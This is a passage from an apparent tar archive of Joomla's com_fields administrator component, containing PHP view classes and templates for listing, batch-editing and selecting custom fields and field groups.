	JHtml::_('sortablelist.sortable', 'fieldList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
}
?>

<form action="<?php echo JRoute::_('index.php?option=com_fields&view=fields'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<div id="filter-bar" class="js-stools-container-bar pull-left">
			<div class="btn-group pull-left">
				<?php echo $this->filterForm->getField('context')->input; ?>
			</div>&nbsp;
		</div>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="fieldList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_FIELDS_FIELD_TYPE_LABEL', 'a.type', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_FIELDS_FIELD_GROUP_LABEL', 'g.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="9">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<?php $ordering   = ($listOrder == 'a.ordering'); ?>
						<?php $canEdit    = $user->authorise('core.edit', $component . '.field.' . $item->id); ?>
						<?php $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; ?>
						<?php $canEditOwn = $user->authorise('core.edit.own', $component . '.field.' . $item->id) && $item->created_user_id == $userId; ?>
						<?php $canChange  = $user->authorise('core.edit.state', $component . '.field.' . $item->id) && $canCheckin; ?>
						<tr class="row<?php echo $i % 2; ?>" item-id="<?php echo $item->id ?>">
							<td class="order nowrap center hidden-phone">
								<?php $iconClass = ''; ?>
								<?php if (!$canChange) : ?>
									<?php $iconClass = ' inactive'; ?>
								<?php elseif (!$saveOrder) : ?>
									<?php $iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::tooltipText('JORDERINGDISABLED'); ?>
								<?php endif; ?>
								<span class="sortable-handler<?php echo $iconClass; ?>">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->state, $i, 'fields.', $canChange, 'cb'); ?>
									<?php // Create dropdown items and render the dropdown list. ?>
									<?php if ($canChange) : ?>
										<?php JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'fields'); ?>
										<?php JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'fields'); ?>
										<?php echo JHtml::_('actionsdropdown.render', $this->escape($item->title)); ?>
									<?php endif; ?>
								</div>
							</td>
							<td>
								<div class="pull-left break-word">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'fields.', $canCheckin); ?>
									<?php endif; ?>
									<?php if ($canEdit || $canEditOwn) : ?>
										<a href="<?php echo JRoute::_('index.php?option=com_fields&task=field.edit&id=' . $item->id . '&context=' . $context); ?>">
											<?php echo $this->escape($item->title); ?></a>
									<?php else : ?>
										<?php echo $this->escape($item->title); ?>
									<?php endif; ?>
									<span class="small break-word">
										<?php if (empty($item->note)) : ?>
											<?php echo JText::sprintf('JGLOBAL_LIST_NAME', $this->escape($item->name)); ?>
										<?php else : ?>
											<?php echo JText::sprintf('JGLOBAL_LIST_NAME_NOTE', $this->escape($item->name), $this->escape($item->note)); ?>
										<?php endif; ?>
									</span>
									<div class="small">
										<?php if ($category) : ?>
											<?php echo JText::_('JCATEGORY') . ': '; ?>
											<?php $categories = FieldsHelper::getAssignedCategoriesTitles($item->id); ?>
											<?php if ($categories) : ?>
												<?php echo implode(', ', $categories); ?>
											<?php else : ?>
												<?php echo JText::_('JALL'); ?>
											<?php endif; ?>
										<?php endif; ?>
									</div>
								</div>
							</td>
							<td class="small">
								<?php echo $this->escape($item->type); ?>
							</td>
							<td>
								<?php echo $this->escape($item->group_title); ?>
							</td>
							<td class="small hidden-phone">
								<?php echo $this->escape($item->access_level); ?>
							</td>
							<td class="small nowrap hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="center hidden-phone">
								<span><?php echo (int) $item->id; ?></span>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php //Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', $component)
				&& $user->authorise('core.edit', $component)
				&& $user->authorise('core.edit.state', $component)) : ?>
				<?php echo JHtml::_(
						'bootstrap.renderModal',
						'collapseModal',
						array(
							'title' => JText::_('COM_FIELDS_VIEW_FIELDS_BATCH_OPTIONS'),
							'footer' => $this->loadTemplate('batch_footer')
						),
						$this->loadTemplate('batch_body')
					); ?>
			<?php endif; ?>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_fields/views/fields/tmpl/modal.php000060400000011173152455305320014037 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (JFactory::getApplication()->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('bootstrap.popover', '.hasPopover', array('placement' => 'bottom'));
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('script', 'com_fields/admin-fields-modal.js', array('version' => 'auto', 'relative' => true));

// Special case for the search field tooltip.
$searchFilterDesc = $this->filterForm->getFieldAttribute('search', 'description', null, 'filter');
JHtml::_('bootstrap.tooltip', '#filter_search', array('title' => JText::_($searchFilterDesc), 'placement' => 'bottom'));

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$editor    = JFactory::getApplication()->input->get('editor', '', 'cmd');
?>
<div class="container-popup">

	<form action="<?php echo JRoute::_('index.php?option=com_fields&view=fields&layout=modal&tmpl=component&editor=' . $editor . '&' . JSession::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="moduleList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="15%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_FIELDS_FIELD_GROUP_LABEL', 'g.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_FIELDS_FIELD_TYPE_LABEL', 'a.type', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="8">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php
					$iconStates = array(
						-2 => 'icon-trash',
						0  => 'icon-unpublish',
						1  => 'icon-publish',
						2  => 'icon-archive',
					);
					foreach ($this->items as $i => $item) :
					?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->state)]; ?>" aria-hidden="true"></span>
						</td>
						<td class="has-context">
							<a class="btn btn-small btn-block btn-success" href="#" onclick="Joomla.fieldIns('<?php echo $this->escape($item->id); ?>', '<?php echo $this->escape($editor); ?>');"><?php echo $this->escape($item->title); ?></a>
						</td>
						<td class="small hidden-phone">
							<a class="btn btn-small btn-block btn-warning" href="#" onclick="Joomla.fieldgroupIns('<?php echo $this->escape($item->group_id); ?>', '<?php echo $this->escape($editor); ?>');"><?php echo $item->group_id ? $this->escape($item->group_title) : JText::_('JNONE'); ?></a>
						</td>
						<td class="small hidden-phone">
							<?php echo $item->type; ?>
						</td>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="small hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>

	</form>
</div>
com_fields/views/fields/tmpl/default_batch_body.php000060400000004433152455305320016546 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JFactory::getDocument()->addScriptDeclaration(
	'
		jQuery(document).ready(function($){
			if ($("#batch-group-id").length){var batchSelector = $("#batch-group-id");}
			if ($("#batch-copy-move").length) {
				$("#batch-copy-move").hide();
				batchSelector.on("change", function(){
					if (batchSelector.val() != 0 || batchSelector.val() != "") {
						$("#batch-copy-move").show();
					} else {
						$("#batch-copy-move").hide();
					}
				});
			}
		});
			'
);

$context   = $this->escape($this->state->get('filter.context'));
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JLayoutHelper::render('joomla.html.batch.language', array()); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JLayoutHelper::render('joomla.html.batch.access', array()); ?>
			</div>
		</div>
	</div>
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php $options = array(
					JHtml::_('select.option', 'c', JText::_('JLIB_HTML_BATCH_COPY')),
					JHtml::_('select.option', 'm', JText::_('JLIB_HTML_BATCH_MOVE'))
				);
				?>
				<label id="batch-choose-action-lbl" for="batch-choose-action"><?php echo JText::_('COM_FIELDS_BATCH_GROUP_LABEL'); ?></label>
				<div id="batch-choose-action" class="control-group">
					<select name="batch[group_id]" class="inputbox" id="batch-group-id">
						<option value=""><?php echo JText::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
						<option value="nogroup"><?php echo JText::_('COM_FIELDS_BATCH_GROUP_OPTION_NONE'); ?></option>
						<?php echo JHtml::_('select.options', $this->get('Groups'), 'value', 'text'); ?>
					</select>
				</div>
				<div id="batch-copy-move" class="control-group radio">
					<?php echo JText::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
					<?php echo JHtml::_('select.radiolist', $options, 'batch[move_copy]', '', 'value', 'text', 'm'); ?>
				</div>
			</div>
		</div>
	</div>
</div>
com_fields/views/fields/tmpl/default_batch_footer.php000060400000001272152455305320017105 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-field-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('field.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_fields/views/groups/tmpl/default_batch_footer.php000060400000001272152455305320017156 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

?>
<button type="button" class="btn" onclick="document.getElementById('batch-field-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value=''" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('group.batch');return false;">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
com_fields/views/groups/tmpl/default_batch_body.php000060400000001274152455305320016617 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
?>

<div class="container-fluid">
	<div class="row-fluid">
		<div class="control-group span6">
			<div class="controls">
				<?php echo JLayoutHelper::render('joomla.html.batch.language', array()); ?>
			</div>
		</div>
		<div class="control-group span6">
			<div class="controls">
				<?php echo JLayoutHelper::render('joomla.html.batch.access', array()); ?>
			</div>
		</div>
	</div>
</div>
com_fields/views/groups/tmpl/default.php000060400000016201152455305320014435 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$app       = JFactory::getApplication();
$user      = JFactory::getUser();
$userId    = $user->get('id');

$component = '';
$parts     = FieldsHelper::extract($this->state->get('filter.context'));

if ($parts)
{
	$component = $this->escape($parts[0]);
}

$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$ordering  = ($listOrder == 'a.ordering');
$saveOrder = ($listOrder == 'a.ordering' && strtolower($listDirn) == 'asc');

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_fields&task=groups.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'groupList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
}
?>

<form action="<?php echo JRoute::_('index.php?option=com_fields&view=groups'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<div id="filter-bar" class="js-stools-container-bar pull-left">
			<div class="btn-group pull-left">
				<?php echo $this->filterForm->getField('context')->input; ?>
			</div>&nbsp;
		</div>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="groupList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="9">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<?php $ordering   = ($listOrder == 'a.ordering'); ?>
						<?php $canEdit    = $user->authorise('core.edit', $component . '.fieldgroup.' . $item->id); ?>
						<?php $canCheckin = $user->authorise('core.admin', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; ?>
						<?php $canEditOwn = $user->authorise('core.edit.own', $component . '.fieldgroup.' . $item->id) && $item->created_by == $userId; ?>
						<?php $canChange  = $user->authorise('core.edit.state', $component . '.fieldgroup.' . $item->id) && $canCheckin; ?>
						<tr class="row<?php echo $i % 2; ?>" item-id="<?php echo $item->id ?>">
							<td class="order nowrap center hidden-phone">
								<?php $iconClass = ''; ?>
								<?php if (!$canChange) : ?>
									<?php $iconClass = ' inactive'; ?>
								<?php elseif (!$saveOrder) : ?>
									<?php $iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::tooltipText('JORDERINGDISABLED'); ?>
								<?php endif; ?>
								<span class="sortable-handler<?php echo $iconClass; ?>">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->state, $i, 'groups.', $canChange, 'cb'); ?>
									<?php // Create dropdown items and render the dropdown list. ?>
									<?php if ($canChange) : ?>
										<?php JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'groups'); ?>
										<?php JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'groups'); ?>
										<?php echo JHtml::_('actionsdropdown.render', $this->escape($item->title)); ?>
									<?php endif; ?>
								</div>
							</td>
							<td>
								<div class="pull-left break-word">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'groups.', $canCheckin); ?>
									<?php endif; ?>
									<?php if ($canEdit || $canEditOwn) : ?>
										<a href="<?php echo JRoute::_('index.php?option=com_fields&task=group.edit&id=' . $item->id); ?>">
											<?php echo $this->escape($item->title); ?></a>
									<?php else : ?>
										<?php echo $this->escape($item->title); ?>
									<?php endif; ?>
									<span class="small break-word">
										<?php if ($item->note) : ?>
											<?php echo JText::sprintf('JGLOBAL_LIST_NOTE', $this->escape($item->note)); ?>
										<?php endif; ?>
									</span>
								</div>
							</td>
							<td class="small hidden-phone">
								<?php echo $this->escape($item->access_level); ?>
							</td>
							<td class="small nowrap hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="center hidden-phone">
								<span><?php echo (int) $item->id; ?></span>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php //Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', $component)
				&& $user->authorise('core.edit', $component)
				&& $user->authorise('core.edit.state', $component)) : ?>
				<?php echo JHtml::_(
						'bootstrap.renderModal',
						'collapseModal',
						array(
							'title' => JText::_('COM_FIELDS_VIEW_GROUPS_BATCH_OPTIONS'),
							'footer' => $this->loadTemplate('batch_footer')
						),
						$this->loadTemplate('batch_body')
					); ?>
			<?php endif; ?>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_fields/views/groups/view.html.php000060400000011561152455305320013756 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Groups View
 *
 * @since  3.7.0
 */
class FieldsViewGroups extends JViewLegacy
{
	/**
	 * @var  JForm
	 *
	 * @since  3.7.0
	 */
	public $filterForm;

	/**
	 * @var  array
	 *
	 * @since  3.7.0
	 */
	public $activeFilters;

	/**
	 * @var  array
	 *
	 * @since  3.7.0
	 */
	protected $items;

	/**
	 * @var  JPagination
	 *
	 * @since  3.7.0
	 */
	protected $pagination;

	/**
	 * @var  JObject
	 *
	 * @since  3.7.0
	 */
	protected $state;

	/**
	 * @var  string
	 *
	 * @since  3.7.0
	 */
	protected $sidebar;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.7.0
	 */
	public function display($tpl = null)
	{
		$this->state         = $this->get('State');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display a warning if the fields system plugin is disabled
		if (!JPluginHelper::isEnabled('system', 'fields'))
		{
			$link = JRoute::_('index.php?option=com_plugins&task=plugin.edit&extension_id=' . FieldsHelper::getFieldsPluginId());
			JFactory::getApplication()->enqueueMessage(JText::sprintf('COM_FIELDS_SYSTEM_PLUGIN_NOT_ENABLED', $link), 'warning');
		}

		$this->addToolbar();

		FieldsHelper::addSubmenu($this->state->get('filter.context'), 'groups');
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Adds the toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		$groupId   = $this->state->get('filter.group_id');
		$component = '';
		$parts     = FieldsHelper::extract($this->state->get('filter.context'));

		if ($parts)
		{
			$component = $parts[0];
		}

		$canDo     = JHelperContent::getActions($component, 'fieldgroup', $groupId);

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		// Avoid nonsense situation.
		if ($component == 'com_fields')
		{
			return;
		}

		// Load component language file
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_ADMINISTRATOR)
		|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component));

		$title = JText::sprintf('COM_FIELDS_VIEW_GROUPS_TITLE', JText::_(strtoupper($component)));

		// Prepare the toolbar.
		JToolbarHelper::title($title, 'puzzle fields ' . substr($component, 4) . '-groups');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('group.add');
		}

		if ($canDo->get('core.edit') || $canDo->get('core.edit.own'))
		{
			JToolbarHelper::editList('group.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('groups.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('groups.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('groups.archive');
		}

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::checkin('groups.checkin');
		}

		// Add a batch button
		if ($canDo->get('core.create') && $canDo->get('core.edit') && $canDo->get('core.edit.state'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(
				array(
					'title' => $title,
				)
			);

			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences($component);
		}

		if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete', $component))
		{
			JToolbarHelper::deleteList('', 'groups.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('groups.trash');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_FIELDS_FIELD_GROUPS');
	}

	/**
	 * Returns the sort fields.
	 *
	 * @return  array
	 *
	 * @since   3.7.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering'  => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'     => JText::_('JSTATUS'),
			'a.title'     => JText::_('JGLOBAL_TITLE'),
			'a.access'    => JText::_('JGRID_HEADING_ACCESS'),
			'language'    => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.context'   => JText::_('JGRID_HEADING_CONTEXT'),
			'a.id'        => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_fields/views/field/view.html.php000060400000006501152455305320013520 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * Field View
 *
 * @since  3.7.0
 */
class FieldsViewField extends JViewLegacy
{
	/**
	 * @var  JForm
	 *
	 * @since   3.7.0
	 */
	protected $form;

	/**
	 * @var  JObject
	 *
	 * @since   3.7.0
	 */
	protected $item;

	/**
	 * @var  JObject
	 *
	 * @since   3.7.0
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @see     JViewLegacy::loadTemplate()
	 * @since   3.7.0
	 */
	public function display($tpl = null)
	{
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		$this->canDo = JHelperContent::getActions($this->state->get('field.component'), 'field', $this->item->id);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		JFactory::getApplication()->input->set('hidemainmenu', true);

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Adds the toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		$component = $this->state->get('field.component');
		$section   = $this->state->get('field.section');
		$userId    = JFactory::getUser()->get('id');
		$canDo     = $this->canDo;

		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Avoid nonsense situation.
		if ($component == 'com_fields')
		{
			return;
		}

		// Load component language file
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_ADMINISTRATOR)
		|| $lang->load($component, JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component));

		$title = JText::sprintf('COM_FIELDS_VIEW_FIELD_' . ($isNew ? 'ADD' : 'EDIT') . '_TITLE', JText::_(strtoupper($component)));

		// Prepare the toolbar.
		JToolbarHelper::title(
			$title,
			'puzzle field-' . ($isNew ? 'add' : 'edit') . ' ' . substr($component, 4) . ($section ? "-$section" : '') . '-field-' .
			($isNew ? 'add' : 'edit')
		);

		// For new records, check the create permission.
		if ($isNew)
		{
			JToolbarHelper::apply('field.apply');
			JToolbarHelper::save('field.save');
			JToolbarHelper::save2new('field.save2new');
		}

		// If not checked out, can save the item.
		elseif (!$checkedOut && ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_user_id == $userId)))
		{
			JToolbarHelper::apply('field.apply');
			JToolbarHelper::save('field.save');

			if ($canDo->get('core.create'))
			{
